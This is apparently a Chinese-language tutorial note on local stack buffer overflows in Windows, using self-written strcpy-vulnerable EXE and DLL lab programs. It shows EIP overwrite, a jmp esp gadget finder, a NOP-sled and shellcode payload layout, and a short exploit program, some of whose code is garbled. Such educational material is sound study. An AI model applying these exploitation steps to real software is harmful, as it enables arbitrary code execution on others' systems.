栈溢出是缓冲区溢出中最为常见的一种攻击手法,其原理是,程序在运行时栈地址是由操作系统来负责维护的,在我们调用函数时,程序会将当前函数的下一条指令的地址压入栈中,而函数执行完毕后,则会通过ret指令从栈地址中弹出压入的返回地址,并将返回地址重新装载到EIP指令指针寄存器中,从而继续运行,然而将这种控制程序执行流程的地址保存到栈中,必然会给栈溢出攻击带来可行性。
前面的笔记《缓冲区溢出与攻防博弈》中已经具体的介绍了缓冲区溢出的基本知识,也了解到了攻防双方技术的博弈过程,本次我们将来看几个简单的本地溢出案例,本次测试环境为Windows10系统+VS 2013编译器,该编译器默认开启GS保护,在下方的实验中需要手动将其关闭。
C语言中通常会提供给我们标准的函数库,这些标准函数如果使用不当则会造成意想不到的后果。
strcpy() vfscanf()
strcat() vsprintf()
sprintf() vscanf()
scanf() vsscanf()
sscanf() streadd()
fscanf() strecpy()
### 针对EXE文件的溢出利用 以下案例就是利用了 strcpy() 函数的漏洞从而实现溢出的,程序运行后用户从命令行传入一个参数,该参数的大小是不固定的,传入参数后由内部的 geting()函数接收,并通过strcpy()函数将临时数据赋值到name变量中,最后将其打印出来,很明显代码中并没有对用户输入的变量进行长度的限定。
#include
#include
void geting(char *temp){
char name[10];
strcpy(name, temp);
printf("%s ", name);
}
int main(int argc,char *argv[])
{
geting(argv[1]);
return 0;
}
直接保存为overflow.c然后执行 cl /Zi /GS- overflow.c 编译并生成可执行文件,参数中的/GS-就是关闭当前的GS保护。
C:UsersLySharkDesktop>cl /Zi /GS- overflow.c
用于 x86 的 Microsoft (R) C/C++ 优化编译器 18.00.21005.1
overflow.c
Microsoft (R) Incremental Linker Version 12.00.21005.1
Copyright (C) Microsoft Corporation. All rights reserved.
/out:overflow.exe
/debug
overflow.obj
接着我们需要在命令行界面中运行来启动调试器,其中第一个参数 overflow.exe 就是我们的程序名,第二个参数是传入命令行参数,我们首先传入一个正常大小的字符串。
C:OllyICE> OllyICE.exe overflow.exe hello
载入上面所编写的 exe 程序。由于我们需要从 main 函数开始分析,但是OD并没有在main函数处停下,而是停在了程序的初始化部分,如下图所示:
本地缓冲区溢出分析
上方这些代码并不是我们写的而是编译器自动生成的,这里我们无需关心这些代码片段,我们只需要找到程序的OPE入口即可,通过观察获取,这里经过不断地分析找到了程序的OEP 0012A1050,直接在此处下断点。
本地缓冲区溢出分析
进一步分析后观察发现,下方代码就是我们程序中的 geting()这个函数,溢出也正是发生在这里的,注意堆栈变化。
本地缓冲区溢出分析
这里由于我们传递了正常的参数,所以没有溢出,下图可看出程序正常返回并没有覆盖ESP/EIP等指针。
本地缓冲区溢出分析
重新运行程序,然后输入一个超长字符串,这里我就输入一串 lysharkAAAAAAAAABBBB
本地缓冲区溢出分析
上方截图可知,程序的返回地址已被BBBB等字母霸占了,当程序执行ret指令返回时,程序会在堆栈中取出42424242并将该地址赋值给EIP指针,而42424242这个地址是错误的指令,所以程序会报错。
本地缓冲区溢出分析
除此之外还需要查找系统中的跳板指令,这里的跳板是程序中原有的机器码,其包括如 jmp esp,call esp,jmp ecx等,我们需要利用这些跳板指令完成对堆栈地址的定位。
再次运行程序,然后输入一个正常字符串 lyshark ,用OD载入,执行到main函数最后的位置,即retn语句处,此时我们关注一下esp寄存器所保存的值:
本地缓冲区溢出分析
上图可知,现在esp中保存的值是012A1067,而在栈中这个地址对应的就是我们的返回地址,即我们下一条语句的位置。然后我们此时再按一下F8,单步执行,那么此时Geting()函数就会执行完毕:
我们还发现ESP指针的值会自动变成返回地址的下一个位置,而esp的这种变化,一般是不受任何情况影响的,因为堆栈的地址是动态变化的,所以我们才需要找到一个跳板函数来实现跳转到堆栈中布置好的ShellCode中去。
jmp esp 这条机器指令,在很多动态连接库中都存在,jmp esp的机器码是0xFFE4,我们可以编写一个程序,来在kernelbase.dll中查找是否存在jmp esp 指令,需要注意的是,这里必须查找程序中已经加载的动态链接库。
#include
#include
#include
int main()
{
BYTE *ptr;
int position;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary("kernelbase.dll");
ptr = (BYTE*)handle;
for (position = 0; !done_flag; position++)
{
try
{
if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4)
{
int address = (int)ptr + position;
printf("找到跳板指令:0x%x", address);
}
}
catch (...)
{
int address = (int)ptr + position;
printf("结束指针位置:0x%x", address);
done_flag = true;
}
}
getchar();
return 0;
}
上方代码运行后,会得到一个跳板地址 0x76c2fb75 如下,当然其他的模块中可能存在更多的跳板指令。
我们手动将堆栈中的 424242 替换为 0x76c2fb75 注意该地址应该反写,如下所示:
当程序运行时,首先会ret返回,而程序返回会在堆栈中将 0x76c2fb75 这个内存地址回写到 EIP中,然后会执行第一次跳转,其跳转到 kernelbase.dll 中的 jmp esp 中。
观察发现,esp指针的地址是 013DFBE8 ,也就将当前程序的控制流指向了堆栈中,我们只需要在堆栈中布置好合理的ShellCode就可以执行任意代码。
至此该程序就分析完毕了,经过分析我们的ShellCode代码应该这样构建,其形式是:AAAAAAAAAAAAAAAA BBBB NNNNNNN ShellCode
这里的A 代表的是正常输出内容,其作用是正好不多不少的填充满这个缓冲区。
这里的B 代表的是 jmp esp 的机器指令,该处应该为 0x76c2fb75 。
这里的N 代表Nop雪橇的填充,一般的 20 个Nop左右就好。
这里 ShellCode 就是我们要执行的恶意代码啦。
输入方式应该是,当程序运行后会先跳转到 jmp esp 并执行该指令,然后jmp esp 会跳转到 nop雪橇的位置,程序的执行流会顺着nop雪橇滑向ShellCode代码,从而实现反弹Shell。
D:OllyICE> OllyICE.exe overflow.exe Ax16 + jmp esp + nop x 20 + ShellCode
### 针对Dll文件的溢出利用 很多时候我们要分析的目标不是一个EXE可执行文件,而是一个DLL文件,这样的例子很多,比如Windows系统中有很多系统模块都是DLL文件,这些文件如果出现漏洞该如何利用呢?接下来我们将来研究针对DLL文件的利用方法,最后编写利用代码实现DLL文件的利用。
1.首先我们先来创建一个 ntdll.cpp 的可执行文件,其中有两个函数,一个是弹窗提示,而另一个则是字符串的拷贝函数,编译这个DLL文件。
#include
#include
#pragma comment(lib,"User32.lib")
bool APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid){
return true;
}
extern "C"__declspec(dllexport) void ntMsgBox(){
::MessageBox(NULL,TEXT("hello lyshark"),TEXT("MsgBox"),MB_OK);
}
extern "C"__declspec(dllexport) void ntCheck(char *Code){
char name[10];
strcpy(name,Code);
printf("Buffer Is: %s",Code);
}
C:Users> cl /c /GS- /EHsc ntdll.cpp
C:Users> link /dll ntdll.obj
接着我们通过缓冲区溢出漏洞,实现调用 ntCheck函数是,让其弹出 MsgBox 提示框,通过OD分析找到MsgBox地址是 0x5BAB1090 接着编写利用代码如下:
#include
#include
#include
typedef void(*MyPROC)(char *);
int main(){
HINSTANCE libHandle;
MyPROC Func;
char DllName[] = "./ntdll.dll";
libHandle = LoadLibrary(DllName);
Func = (MyPROC)GetProcAddress(libHandle, "ntCheck");
char Str[0x4096];
char source[] = "AAAAAAAAA" // 填充满缓冲区
"«[" // 跳转到MsgBox
memcpy(Str,source,sizeof(source));
(Func)(Str);
FreeLibrary(libHandle);
return 0;
}
随着编译器厂商和操作系统厂商的各种新技术的出现,这些传统的缓冲区溢出的利用已经变得非常困难了,所以以上笔记只能作为原理方面的研究,并没有实际价值。
|